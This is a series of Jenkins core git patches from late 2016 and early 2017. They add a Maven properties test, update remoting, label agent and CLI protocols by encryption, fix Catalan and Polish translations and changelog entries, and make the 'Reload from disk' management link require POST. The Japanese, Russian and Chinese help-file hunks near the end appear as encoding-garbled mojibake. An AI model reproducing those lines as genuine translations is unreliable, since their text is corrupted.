null, false, null, + null, false/*do not inject build variables*/)); + String log = j.buildAndAssertSuccess(p).getLog(); + assertTrue("Properties should always be injected, even when build variables injection is disabled", + log.contains("-DTEST_PROP1=VAL1") && log.contains("-DTEST_PROP2=VAL2")); + + p.getBuildersList().clear(); + p.getBuildersList().add(new Maven("--help", maven.getName(), null, properties, null, false, null, + null, true/*do inject build variables*/)); + log = j.buildAndAssertSuccess(p).getLog(); + assertTrue("Properties should always be injected, even when build variables injection is enabled", + log.contains("-DTEST_PROP1=VAL1") && log.contains("-DTEST_PROP2=VAL2")); } } -- GitLab From 7c2e1b2ece1770874eedd69cf20142aad4b491b9 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Tue, 27 Dec 2016 12:06:26 +0100 Subject: [PATCH 465/712] [FIXED JENKINS-39835] - Update remoting to 3.4 (#2679) --- pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pom.xml b/pom.xml index 1d7944f044..3b0ff8bf83 100644 --- a/pom.xml +++ b/pom.xml @@ -181,7 +181,7 @@ THE SOFTWARE. org.jenkins-ci.main remoting - 3.3 + 3.4 -- GitLab From 5f67d909babcdfd220ae8898c398e6f771aca63d Mon Sep 17 00:00:00 2001 From: Sam Gleske Date: Tue, 27 Dec 2016 15:12:09 -0800 Subject: [PATCH 466/712] [JENKINS-40700] Enhance slave protocol descriptions Relates to [JENKINS-40700]. The updated displayNames describe the protocols by using similar verbiage from: core/src/main/resources/hudson/cli/CliProtocol/description.jelly core/src/main/resources/hudson/cli/CliProtocol2/description.jelly core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.jelly core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.jelly core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol4/description.jelly At a high level, I wanted to expose to the user, from a security perspective, whether or not the protocols were secure and how. --- .../resources/hudson/cli/CliProtocol/description.jelly | 2 +- .../resources/hudson/cli/CliProtocol2/description.jelly | 2 +- core/src/main/resources/hudson/cli/Messages.properties | 4 ++-- .../slaves/JnlpSlaveAgentProtocol/description.jelly | 2 +- .../slaves/JnlpSlaveAgentProtocol2/description.jelly | 2 +- .../slaves/JnlpSlaveAgentProtocol3/description.jelly | 2 +- .../src/main/resources/jenkins/slaves/Messages.properties | 8 ++++---- 7 files changed, 11 insertions(+), 11 deletions(-) diff --git a/core/src/main/resources/hudson/cli/CliProtocol/description.jelly b/core/src/main/resources/hudson/cli/CliProtocol/description.jelly index e24d569129..f56050b390 100644 --- a/core/src/main/resources/hudson/cli/CliProtocol/description.jelly +++ b/core/src/main/resources/hudson/cli/CliProtocol/description.jelly @@ -1,4 +1,4 @@ - ${%Accepts connections from CLI clients} + ${%Accepts connections from CLI clients. This protocol is insecure.} diff --git a/core/src/main/resources/hudson/cli/CliProtocol2/description.jelly b/core/src/main/resources/hudson/cli/CliProtocol2/description.jelly index 66f27c511c..f96439d702 100644 --- a/core/src/main/resources/hudson/cli/CliProtocol2/description.jelly +++ b/core/src/main/resources/hudson/cli/CliProtocol2/description.jelly @@ -1,4 +1,4 @@ - ${%Extends the version 1 protocol by adding transport encryption} + ${%Extends the version 1 protocol by adding transport encryption.} diff --git a/core/src/main/resources/hudson/cli/Messages.properties b/core/src/main/resources/hudson/cli/Messages.properties index f2cf34d4d6..e425387117 100644 --- a/core/src/main/resources/hudson/cli/Messages.properties +++ b/core/src/main/resources/hudson/cli/Messages.properties @@ -94,5 +94,5 @@ OfflineNodeCommand.ShortDescription=Stop using a node for performing builds temp WaitNodeOnlineCommand.ShortDescription=Wait for a node to become online. WaitNodeOfflineCommand.ShortDescription=Wait for a node to become offline. -CliProtocol.displayName=Jenkins CLI Protocol/1 -CliProtocol2.displayName=Jenkins CLI Protocol/2 +CliProtocol.displayName=Jenkins CLI Protocol/1 (insecure) +CliProtocol2.displayName=Jenkins CLI Protocol/2 (transport encryption) diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.jelly b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.jelly index d848342d48..83dbe945e4 100644 --- a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.jelly +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.jelly @@ -1,4 +1,4 @@ - ${%Accepts connections from remote clients so that they can be used as additional build agents} + ${%Accepts connections from remote clients so that they can be used as additional build agents. This protocol is insecure.} diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.jelly b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.jelly index b3c0c58444..b8af520595 100644 --- a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.jelly +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.jelly @@ -1,4 +1,4 @@ - ${%Extends the version 1 protocol by adding a per-client cookie, so that we can detect a reconnection from the agent and take appropriate action} + ${%Extends the version 1 protocol by adding a per-client cookie, so that we can detect a reconnection from the agent and take appropriate action. This protocol is insecure.} diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly index c052dfe335..6ea6fae893 100644 --- a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly @@ -1,4 +1,4 @@ - ${%Extends the version 2 protocol by adding basic encryption but requires a thread per client} + ${%Extends the version 2 protocol by adding basic encryption but requires a thread per client. This protocol falls back to Java Web Start Agent Protocol/2 (insecure) when it can't create a secure connection.} diff --git a/core/src/main/resources/jenkins/slaves/Messages.properties b/core/src/main/resources/jenkins/slaves/Messages.properties index 7085843d8b..9e6be8371e 100644 --- a/core/src/main/resources/jenkins/slaves/Messages.properties +++ b/core/src/main/resources/jenkins/slaves/Messages.properties @@ -20,7 +20,7 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -JnlpSlaveAgentProtocol.displayName=Java Web Start Agent Protocol/1 -JnlpSlaveAgentProtocol2.displayName=Java Web Start Agent Protocol/2 -JnlpSlaveAgentProtocol3.displayName=Java Web Start Agent Protocol/3 -JnlpSlaveAgentProtocol4.displayName=Java Web Start Agent Protocol/4 +JnlpSlaveAgentProtocol.displayName=Java Web Start Agent Protocol/1 (insecure) +JnlpSlaveAgentProtocol2.displayName=Java Web Start Agent Protocol/2 (insecure) +JnlpSlaveAgentProtocol3.displayName=Java Web Start Agent Protocol/3 (basic encryption) +JnlpSlaveAgentProtocol4.displayName=Java Web Start Agent Protocol/4 (TLS encryption) -- GitLab From f47a5ccea75b2a8ddd0611a5d652aec6fafc9c96 Mon Sep 17 00:00:00 2001 From: Sam Gleske Date: Tue, 27 Dec 2016 15:56:24 -0800 Subject: [PATCH 467/712] JNLP3 not recommended --- .../jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly index 6ea6fae893..c4f00764b8 100644 --- a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly @@ -1,4 +1,4 @@ - ${%Extends the version 2 protocol by adding basic encryption but requires a thread per client. This protocol falls back to Java Web Start Agent Protocol/2 (insecure) when it can't create a secure connection.} + ${%Extends the version 2 protocol by adding basic encryption but requires a thread per client. This protocol falls back to Java Web Start Agent Protocol/2 (insecure) when it can't create a secure connection. This protocol is not recommended. Use Java Web Start Agent Protocol/4 instead.} -- GitLab From bcf5b089273dd2e1d6a0790ee9fb32ffa2c442f3 Mon Sep 17 00:00:00 2001 From: Sam Gleske Date: Wed, 28 Dec 2016 15:53:22 -0800 Subject: [PATCH 468/712] Change insecure to unencrypted --- .../main/resources/hudson/cli/CliProtocol/description.jelly | 2 +- core/src/main/resources/hudson/cli/Messages.properties | 2 +- .../jenkins/slaves/JnlpSlaveAgentProtocol/description.jelly | 2 +- .../jenkins/slaves/JnlpSlaveAgentProtocol2/description.jelly | 2 +- .../jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly | 2 +- core/src/main/resources/jenkins/slaves/Messages.properties | 4 ++-- 6 files changed, 7 insertions(+), 7 deletions(-) diff --git a/core/src/main/resources/hudson/cli/CliProtocol/description.jelly b/core/src/main/resources/hudson/cli/CliProtocol/description.jelly index f56050b390..a9e5e4ca7a 100644 --- a/core/src/main/resources/hudson/cli/CliProtocol/description.jelly +++ b/core/src/main/resources/hudson/cli/CliProtocol/description.jelly @@ -1,4 +1,4 @@ - ${%Accepts connections from CLI clients. This protocol is insecure.} + ${%Accepts connections from CLI clients. This protocol is unencrypted.} diff --git a/core/src/main/resources/hudson/cli/Messages.properties b/core/src/main/resources/hudson/cli/Messages.properties index e425387117..997193ad61 100644 --- a/core/src/main/resources/hudson/cli/Messages.properties +++ b/core/src/main/resources/hudson/cli/Messages.properties @@ -94,5 +94,5 @@ OfflineNodeCommand.ShortDescription=Stop using a node for performing builds temp WaitNodeOnlineCommand.ShortDescription=Wait for a node to become online. WaitNodeOfflineCommand.ShortDescription=Wait for a node to become offline. -CliProtocol.displayName=Jenkins CLI Protocol/1 (insecure) +CliProtocol.displayName=Jenkins CLI Protocol/1 (unencrypted) CliProtocol2.displayName=Jenkins CLI Protocol/2 (transport encryption) diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.jelly b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.jelly index 83dbe945e4..67fef746c8 100644 --- a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.jelly +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.jelly @@ -1,4 +1,4 @@ - ${%Accepts connections from remote clients so that they can be used as additional build agents. This protocol is insecure.} + ${%Accepts connections from remote clients so that they can be used as additional build agents. This protocol is unencrypted.} diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.jelly b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.jelly index b8af520595..b73ddec909 100644 --- a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.jelly +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.jelly @@ -1,4 +1,4 @@ - ${%Extends the version 1 protocol by adding a per-client cookie, so that we can detect a reconnection from the agent and take appropriate action. This protocol is insecure.} + ${%Extends the version 1 protocol by adding a per-client cookie, so that we can detect a reconnection from the agent and take appropriate action. This protocol is unencrypted.} diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly index c4f00764b8..58af595972 100644 --- a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly @@ -1,4 +1,4 @@ - ${%Extends the version 2 protocol by adding basic encryption but requires a thread per client. This protocol falls back to Java Web Start Agent Protocol/2 (insecure) when it can't create a secure connection. This protocol is not recommended. Use Java Web Start Agent Protocol/4 instead.} + ${%Extends the version 2 protocol by adding basic encryption but requires a thread per client. This protocol falls back to Java Web Start Agent Protocol/2 (unencrypted) when it can't create a secure connection. This protocol is not recommended. Use Java Web Start Agent Protocol/4 instead.} diff --git a/core/src/main/resources/jenkins/slaves/Messages.properties b/core/src/main/resources/jenkins/slaves/Messages.properties index 9e6be8371e..6cdab92614 100644 --- a/core/src/main/resources/jenkins/slaves/Messages.properties +++ b/core/src/main/resources/jenkins/slaves/Messages.properties @@ -20,7 +20,7 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -JnlpSlaveAgentProtocol.displayName=Java Web Start Agent Protocol/1 (insecure) -JnlpSlaveAgentProtocol2.displayName=Java Web Start Agent Protocol/2 (insecure) +JnlpSlaveAgentProtocol.displayName=Java Web Start Agent Protocol/1 (unencrypted) +JnlpSlaveAgentProtocol2.displayName=Java Web Start Agent Protocol/2 (unencrypted) JnlpSlaveAgentProtocol3.displayName=Java Web Start Agent Protocol/3 (basic encryption) JnlpSlaveAgentProtocol4.displayName=Java Web Start Agent Protocol/4 (TLS encryption) -- GitLab From e1828d8949c5f5f44795830806bdd1aef4a57e37 Mon Sep 17 00:00:00 2001 From: Jordi Mas Date: Fri, 30 Dec 2016 08:52:25 +0100 Subject: [PATCH 469/712] Fixes to Catalan translation --- .../resources/hudson/widgets/HistoryWidget/index_ca.properties | 2 +- .../resources/jenkins/model/Jenkins/loginError_ca.properties | 2 +- core/src/main/resources/lib/hudson/buildCaption_ca.properties | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/core/src/main/resources/hudson/widgets/HistoryWidget/index_ca.properties b/core/src/main/resources/hudson/widgets/HistoryWidget/index_ca.properties index e1a3bacfbf..6c691a2a9b 100644 --- a/core/src/main/resources/hudson/widgets/HistoryWidget/index_ca.properties +++ b/core/src/main/resources/hudson/widgets/HistoryWidget/index_ca.properties @@ -20,7 +20,7 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -More\ ...=Mes... +More\ ...=M\u00E9s... for\ all=per a tot for\ failures=per a les fallades trend=tend\u00E8ncia diff --git a/core/src/main/resources/jenkins/model/Jenkins/loginError_ca.properties b/core/src/main/resources/jenkins/model/Jenkins/loginError_ca.properties index b15424ad73..467070c648 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/loginError_ca.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/loginError_ca.properties @@ -1,3 +1,3 @@ # This file is under the MIT License by authors -Try\ again=Probar un altre cop +Try\ again=Provar un altre cop diff --git a/core/src/main/resources/lib/hudson/buildCaption_ca.properties b/core/src/main/resources/lib/hudson/buildCaption_ca.properties index b33e2f310f..fd1d3aabd9 100644 --- a/core/src/main/resources/lib/hudson/buildCaption_ca.properties +++ b/core/src/main/resources/lib/hudson/buildCaption_ca.properties @@ -1,4 +1,4 @@ # This file is under the MIT License by authors -Progress=Progres +Progress=Progr\u00E9s cancel=cancel\u00B7lar -- GitLab From 4652184766eb266aca2ddfc91fe0fea3bbcbb8f8 Mon Sep 17 00:00:00 2001 From: Damian Szczepanik Date: Fri, 30 Dec 2016 23:19:49 +0100 Subject: [PATCH 470/712] Polish translations --- .../ListView/configure-entries_pl.properties | 29 ++++++++++++++++--- .../hudson/model/Messages_pl.properties | 2 ++ .../config_pl.properties | 29 +++++++++++++++++++ .../hudson/model/View/configure.jelly | 4 +-- .../hudson/model/View/configure_pl.properties | 26 +++++++++++++++-- .../hudson/tasks/Messages_pl.properties | 26 +++++++++++++++++ .../TimerTrigger/config_pl.properties | 2 +- .../hudson/views/Messages_pl.properties | 9 +++++- .../StatusColumn/columnHeader_pl.properties | 3 +- .../WeatherColumn/columnHeader_pl.properties | 3 +- .../config-details_pl.properties | 22 ++++++++++++++ .../jenkins/triggers/Messages_pl.properties | 22 ++++++++++++++ 12 files changed, 165 insertions(+), 12 deletions(-) create mode 100644 core/src/main/resources/hudson/model/RunParameterDefinition/config_pl.properties create mode 100644 core/src/main/resources/hudson/tasks/Messages_pl.properties create mode 100644 core/src/main/resources/jenkins/model/BuildDiscarderProperty/config-details_pl.properties create mode 100644 core/src/main/resources/jenkins/triggers/Messages_pl.properties diff --git a/core/src/main/resources/hudson/model/ListView/configure-entries_pl.properties b/core/src/main/resources/hudson/model/ListView/configure-entries_pl.properties index b1c478e57b..c7627c10d3 100644 --- a/core/src/main/resources/hudson/model/ListView/configure-entries_pl.properties +++ b/core/src/main/resources/hudson/model/ListView/configure-entries_pl.properties @@ -1,6 +1,24 @@ -# This file is under the MIT License by authors - -Add\ column=Dodaj kolumn\u0119 +# The MIT License +# +# Copyright (c) 2013-2016, Kohsuke Kawaguchi, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE All\ selected\ jobs=Wszystkie wybrane projekty Columns=Kolumny Disabled\ jobs\ only=Tylko wy\u0142\u0105czone projekty @@ -9,4 +27,7 @@ Job\ Filters=Filtry projekt\u00F3w Jobs=Projekty Regular\ expression=Wyra\u017Cenie regularne Status\ Filter=Status (filtr) -Use\ a\ regular\ expression\ to\ include\ jobs\ into\ the\ view=U\u017Cyj wyra\u017Cenia regularnego aby doda\u0107 projekty do widoku +Use\ a\ regular\ expression\ to\ include\ jobs\ into\ the\ view=U\u017Cyj wyra\u017Cenia regularnego, aby doda\u0107 projekty do widoku +Recurse\ in\ subfolders=Rekursywnie wg\u0142\u0105b folder\u00F3w +Add\ column=Dodaj kolumn\u0119 +Add\ Job\ Filter=Dodaj filtr zada\u0144 diff --git a/core/src/main/resources/hudson/model/Messages_pl.properties b/core/src/main/resources/hudson/model/Messages_pl.properties index c44b6f7fe2..de4204c028 100644 --- a/core/src/main/resources/hudson/model/Messages_pl.properties +++ b/core/src/main/resources/hudson/model/Messages_pl.properties @@ -82,3 +82,5 @@ ListView.DisplayName=Widok listy MyView.DisplayName=M\u00F3j widok # Only build jobs with label expressions matching this node Node.Mode.EXCLUSIVE=Uruchamiaj te projekty, kt\u00F3re maj\u0105 etykiet\u0119 pasuj\u0105c\u0105 do tego w\u0119\u017C\u0142a +Hudson.ViewName=Wszystkie +RunParameterDefinition.DisplayName=Parametr uruchomienia \ No newline at end of file diff --git a/core/src/main/resources/hudson/model/RunParameterDefinition/config_pl.properties b/core/src/main/resources/hudson/model/RunParameterDefinition/config_pl.properties new file mode 100644 index 0000000000..7b9a582803 --- /dev/null +++ b/core/src/main/resources/hudson/model/RunParameterDefinition/config_pl.properties @@ -0,0 +1,29 @@ +# The MIT License +# +# Copyright (c) 2016, Damiani Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Filter=Filtr +Completed\ Builds\ Only=Tylko zadania zako\u0144czone +Successful\ Builds\ Only=Tylko zadania zako\u0144czone sukcesem +Project=Projekt +Name=Nazwa +All\ Builds=Wszystkie zadania +Stable\ Builds\ Only=Tylko stabilne zadania +Description=Opis diff --git a/core/src/main/resources/hudson/model/View/configure.jelly b/core/src/main/resources/hudson/model/View/configure.jelly index 11d4ea1f86..ac3f9f91c5 100644 --- a/core/src/main/resources/hudson/model/View/configure.jelly +++ b/core/src/main/resources/hudson/model/View/configure.jelly @@ -1,7 +1,7 @@ +

                            What's new in 2.39 (2017/01/02)

                            +
                              +
                            • +

                            What's new in 2.38 (2016/12/25)

                            • -- GitLab From 499eadbf3150dcf8afd39e12804a6c433feeb177 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Mon, 2 Jan 2017 15:41:04 +0100 Subject: [PATCH 475/712] Noting #2638, #2679 --- changelog.html | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index e8ae989204..bd405ad7aa 100644 --- a/changelog.html +++ b/changelog.html @@ -61,7 +61,12 @@ Upcoming changes

                              What's new in 2.39 (2017/01/02)

                                -
                              • +
                              • + Properties were not passed to Maven command by Maven build step + (issue 39268) +
                              • + Update remoting to 3.4 + (issue 39835)

                              What's new in 2.38 (2016/12/25)

                                -- GitLab From c9b878f4889659b889d03e24aa8e5cb6eb763b89 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Mon, 2 Jan 2017 19:56:59 +0100 Subject: [PATCH 476/712] [FIX JENKINS-38175] Fix various ManagementLink related bugs - In the context menu, the 'post' flag was set iff 'requiresConfirmation' was set, even though they're independent (e.g. Prepare for shutdown requires the former but not the latter) - /manage screen: The icon (t:summary) does not support POST or confirmation links, but was set to not link only if no confirmation was required (i.e. POST links did not POST when the icon was clicked -- now the icon is not clickable as a workaround) - /manage screen: All links requiring confirmation did POST, which masked the fact that the 'Reload from disk' link wasn't set up to require POST (it was only broken in the context menu). Now, confirmation and POST are separate flags, and 'Reload from disk' link now requests POST. --- core/src/main/java/jenkins/management/ReloadLink.java | 6 +++++- core/src/main/resources/jenkins/model/Jenkins/manage.jelly | 6 +++--- 2 files changed, 8 insertions(+), 4 deletions(-) diff --git a/core/src/main/java/jenkins/management/ReloadLink.java b/core/src/main/java/jenkins/management/ReloadLink.java index 9159788379..59fabb8ba1 100644 --- a/core/src/main/java/jenkins/management/ReloadLink.java +++ b/core/src/main/java/jenkins/management/ReloadLink.java @@ -56,5 +56,9 @@ public class ReloadLink extends ManagementLink { @Override public boolean getRequiresConfirmation() { return true; } - + + @Override + public boolean getRequiresPOST() { + return true; + } } diff --git a/core/src/main/resources/jenkins/model/Jenkins/manage.jelly b/core/src/main/resources/jenkins/model/Jenkins/manage.jelly index 63684e446b..ff56ce0eca 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/manage.jelly +++ b/core/src/main/resources/jenkins/model/Jenkins/manage.jelly @@ -32,15 +32,15 @@ THE SOFTWARE. - ${taskTags!=null and attrs.contextMenu!='false' ? taskTags.add(href,iconUrl,title,requiresConfirmation,requiresConfirmation) : null} + ${taskTags!=null and attrs.contextMenu!='false' ? taskTags.add(href,iconUrl,title,post,requiresConfirmation) : null} + href="${requiresConfirmation || post ? null : href}" iconOnly="true"> \ No newline at end of file + this document. + diff --git a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_de.html b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_de.html index e8f6341474..80c921f2d1 100644 --- a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_de.html +++ b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_de.html @@ -20,5 +20,5 @@

                                Weitere Informationen zum Thema "Sicherheit und Jenkins" finden Sie - hier. - \ No newline at end of file + hier. + diff --git a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_fr.html b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_fr.html index 3c10b0ecb2..ab0092207d 100644 --- a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_fr.html +++ b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_fr.html @@ -18,5 +18,5 @@

                                Pour plus d'informations sur la sécurité dans Jenkins, voir - ce document. - \ No newline at end of file + ce document. + diff --git a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_ja.html b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_ja.html index 397f50f1f6..2b1d388bf7 100644 --- a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_ja.html +++ b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_ja.html @@ -12,5 +12,5 @@ 有効ã§ãªã„ã¾ã¾Jenkinsã®ãƒ—ロセスを起動ã™ã‚‹ã¨ã€Jenkinsã¯ãƒãƒƒã‚¯ã•ã‚Œã¦ã—ã¾ã„ã¾ã™ã€‚

                                Jenkins ã®ã‚»ã‚­ãƒ¥ãƒªãƒ†ã‚£ã®è©³ç´°ã«ã¤ã„ã¦ã¯ï¼Œ - ã“ã®ãƒ‰ã‚­ãƒ¥ãƒ¡ãƒ³ãƒˆã‚’å‚ç…§ã—ã¦ãã ã•ã„。 - \ No newline at end of file + ã“ã®ãƒ‰ã‚­ãƒ¥ãƒ¡ãƒ³ãƒˆã‚’å‚ç…§ã—ã¦ãã ã•ã„。 + diff --git a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_pt_BR.html b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_pt_BR.html index f2dbfd9673..59d6eef5d0 100644 --- a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_pt_BR.html +++ b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_pt_BR.html @@ -16,5 +16,5 @@

                                Para mais informações sobre segurança e Jenkins, veja - este documento. + este documento. diff --git a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_ru.html b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_ru.html index 2d97434a06..e068efd717 100644 --- a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_ru.html +++ b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_ru.html @@ -18,5 +18,5 @@

                                Ð”Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ Ð´Ð¾Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ð¹ информации о безопаÑноÑти в Jenkins, прочтите - Ñтот документ. - \ No newline at end of file + Ñтот документ. + diff --git a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_tr.html b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_tr.html index e708863197..651dab0aef 100644 --- a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_tr.html +++ b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_tr.html @@ -15,6 +15,6 @@ düşünürseniz, güvenlik ayarı olamayan bir Jenkins, hacklenmenin kesin bir yoludur.

                                - Güvenlik ile ilgili daha fazla bilgiyi bu dokümanda + Güvenlik ile ilgili daha fazla bilgiyi bu dokümanda bulabilirsiniz. - \ No newline at end of file + diff --git a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_zh_CN.html b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_zh_CN.html index 471c6f7ade..2da3291610 100644 --- a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_zh_CN.html +++ b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_zh_CN.html @@ -10,5 +10,5 @@

                                更多Jenkins安全相关信æ¯,请看 - 这个文档. - \ No newline at end of file + 这个文档. + diff --git a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_zh_TW.html b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_zh_TW.html index bc7cb3249b..290ec69bbd 100644 --- a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_zh_TW.html +++ b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_zh_TW.html @@ -13,6 +13,6 @@ Jenkins 會啟動處ç†åºï¼Œæ‰€ä»¥ä¸å®‰å…¨çš„ Jenkins 肯定是被駭的好路å­ã€‚

